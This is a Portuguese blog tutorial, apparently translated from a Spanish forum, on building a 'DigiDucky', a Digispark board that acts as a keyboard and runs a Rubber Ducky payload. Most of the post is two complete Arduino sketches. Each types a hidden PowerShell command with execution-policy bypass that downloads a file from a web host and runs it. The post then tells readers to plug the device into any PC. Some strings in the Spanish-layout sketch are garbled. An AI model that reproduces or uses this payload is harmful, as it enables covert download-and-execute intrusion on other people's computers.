WWW.FLEPS.COM.BR

[Rubber Ducky] DigiDucky de 0 para a intrusão

By admin at 2019-06-15 • 0 colecionador • 705 visualizações de página


OLÁ !!! 

Neste post vou explicar do zero como fazer um DigiDucky (alternativa ao RubberDucky muito mais econômico)


Passos: 

1 - Compre a placa:
Isto não é problema é só pedir uma no Mercado Livre
Para o resto do mundo pode comprar -lo a partir do site oficial do Digistump 

2 - desenvolvimento em ambiente:

 a - Instale o Arduino IDE. Download
 b - Instale os drivers do Digispark e as dependências do ide mais as bibliotecas. Tutorial (é em inglês, mas ver as fotos é fácil) 

3 - O código:
Para este post vou traduzir o payload wget & execute do RubberDucky
Payload original:

GUI r
DELAY 100
STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
ENTER


Vamos usar a biblioteca DigiKeyboard.h que, infelizmente, é feito para teclados de distribuição nos EUA e há teclados para Espanhol porquê esse tutorial é de um forum da espanha então não se sintam mal com isso o mundo compartilha o conhecimento mas nem sempre do jeito que queremos. Bom continuando: Para criar scripts para teclados espanhóis devem ser testados para encontrar o personagem que eles querem, como em meu exemplo pode ver que a maioria já está alterada para os que correspondem, com aqueles que terão o suficiente para fazer um monte de scripts, mesmo que precisem de informações sobre como fazer uma chave específica, me falem neste post e eu vou te contar. 

Código para o arduino IDE [SE NÓS FORMOS USAR O DIGIDUCKY EM UM PC COM UMA DISTRIBUIÇÃO DE TECLADO (ESPANHOL)]:


#include "DigiKeyboard.h"
 
#define KEY_MODIFIER_LEFT_GUI 0x08
 
int ciclos = 0;
 
void setup() {
  pinMode(1, OUTPUT);     // INICIAMOS EL PIN 1 (LED)
  digitalWrite(1, HIGH);  // ENCENDEMOS EL LED PARA SABER QUE SE INICIO EL DIGIDUCKY
}
 
void loop() {
  DigiKeyboard.update(); //iniciamos y mantenemos activo (keep alive) el driver de teclado
 
  if (ciclos == 0) { //si es el primer ciclo (esto es para que solo se ejecute una vez)
    DigiKeyboard.sendKeyStroke(0); //Enviamos una tecla vacia para iniciar la transferencia
 
    DigiKeyboard.delay(500); //Esperamos medio segundo para asegurarnos que la pc detecta nuestro Digispark como teclado
   
    //Codigo Payload: GUI r
    DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Tecla inicio(windows) + R
 
    //Codigo Payload: DELAY 100
    DigiKeyboard.delay(250); // esperamos 250ms (para que se abra la ventana ejecutar) (aumente el delay a 250 por que asi es mas estable)
 
    //Codigo Payload: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
    DigiKeyboard.print("powershell /NoP /NonI /W Hidden /Exec Bypass @IEX *New/Object System.Net.WebClient(.DownloadFile*-http>&&example.com&bob.txt-,@$env>temp");
    DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // escribimos la barra invertida
    DigiKeyboard.print("[email protected](< Start/Process @$env>temp");
    DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // escribimos la barra invertida
    DigiKeyboard.print("[email protected]@");
 
    DigiKeyboard.delay(100); // Esperamos 100ms
 
    //Codigo Payload: ENTER
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Presionamos enter en la ventana ejecutar
   
    DigiKeyboard.delay(100); //Esperamos 100ms
  }
 
//SEÑAL LUMINICA (PARPADEO)
//Aca generamos la señal luminica para que sepamos que ya se ha ejecutado el script y podemos retirar el DigiDucky
  delay(150);
  digitalWrite(1, HIGH);
  delay(150);
  digitalWrite(1, LOW);
//SEÑAL LUMINICA
     
  ciclos++; //Aumentamos el contador para luego no ejecutar nuevamente la secuencia de teclado
}


Código para o arduino IDE [SE NÓS FORMOS USAR O DIGIDUCKY EM UM PC COM A DISTRIBUIÇÃO DE TECLADO DOS EUA (AMERICAN)]:


#include "DigiKeyboard.h"
 
#define KEY_MODIFIER_LEFT_GUI 0x08
 
int ciclos = 0;
 
void setup() {
  pinMode(1, OUTPUT);     // INICIAMOS EL PIN 1 (LED)
  digitalWrite(1, HIGH);  // ENCENDEMOS EL LED PARA SABER QUE SE INICIO EL DIGIDUCKY
}
 
void loop() {
  DigiKeyboard.update(); //iniciamos y mantenemos activo (keep alive) el driver de teclado
 
  if (ciclos == 0) { //si es el primer ciclo (esto es para que solo se ejecute una vez)
    DigiKeyboard.sendKeyStroke(0); //Enviamos una tecla vacia para iniciar la transferencia
 
    DigiKeyboard.delay(500); //Esperamos medio segundo para asegurarnos que la pc detecta nuestro Digispark como teclado
   
    //Codigo Payload: GUI r
    DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Tecla inicio(windows) + R
 
    //Codigo Payload: DELAY 100
    DigiKeyboard.delay(250); // esperamos 250ms (para que se abra la ventana ejecutar) (aumente el delay a 250 por que asi es mas estable)
 
    //Codigo Payload: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
    DigiKeyboard.print("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\"\"");
 
    DigiKeyboard.delay(100); // Esperamos 100ms
 
    //Codigo Payload: ENTER
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Presionamos enter en la ventana ejecutar
   
    DigiKeyboard.delay(100); //Esperamos 100ms
  }
 
//SEÑAL LUMINICA (PARPADEO)
//Aca generamos la señal luminica para que sepamos que ya se ha ejecutado el script y podemos retirar el DigiDucky
  delay(150);
  digitalWrite(1, HIGH);
  delay(150);
  digitalWrite(1, LOW);
//SEÑAL LUMINICA
     
  ciclos++; //Aumentamos el contador para luego no ejecutar nuevamente la secuencia de teclado
}



4 - Compile e upload:
Colocamos o arduino IDE e lá conectamos o Digispark para que o script seja gravado. 

5 - Divirta-se:

Conecte o DigiDucky em qualquer PC e veja a mágica! 


Notas de Rodapé: 
O digispark não se dá bem com as portas USB dos PCs, por isso é aconselhável conectá-lo através de um adaptador. 
Eu uso essas 2 e funcionou bem: 


adaptador macho USB - feminino : 



Adaptador PS2 USBHembra (isso não funcionar para passar o script só para executar isso ): 



Update: Distribuições Espanhol e Espanhol teclado Latina

Obrigado pela leitura !!!

Requer login

Loading...
:79::65::p:78::57:;):77::51::D:76:
:2::icon_syria_lovely::o:75::1::):clap::71::(:70: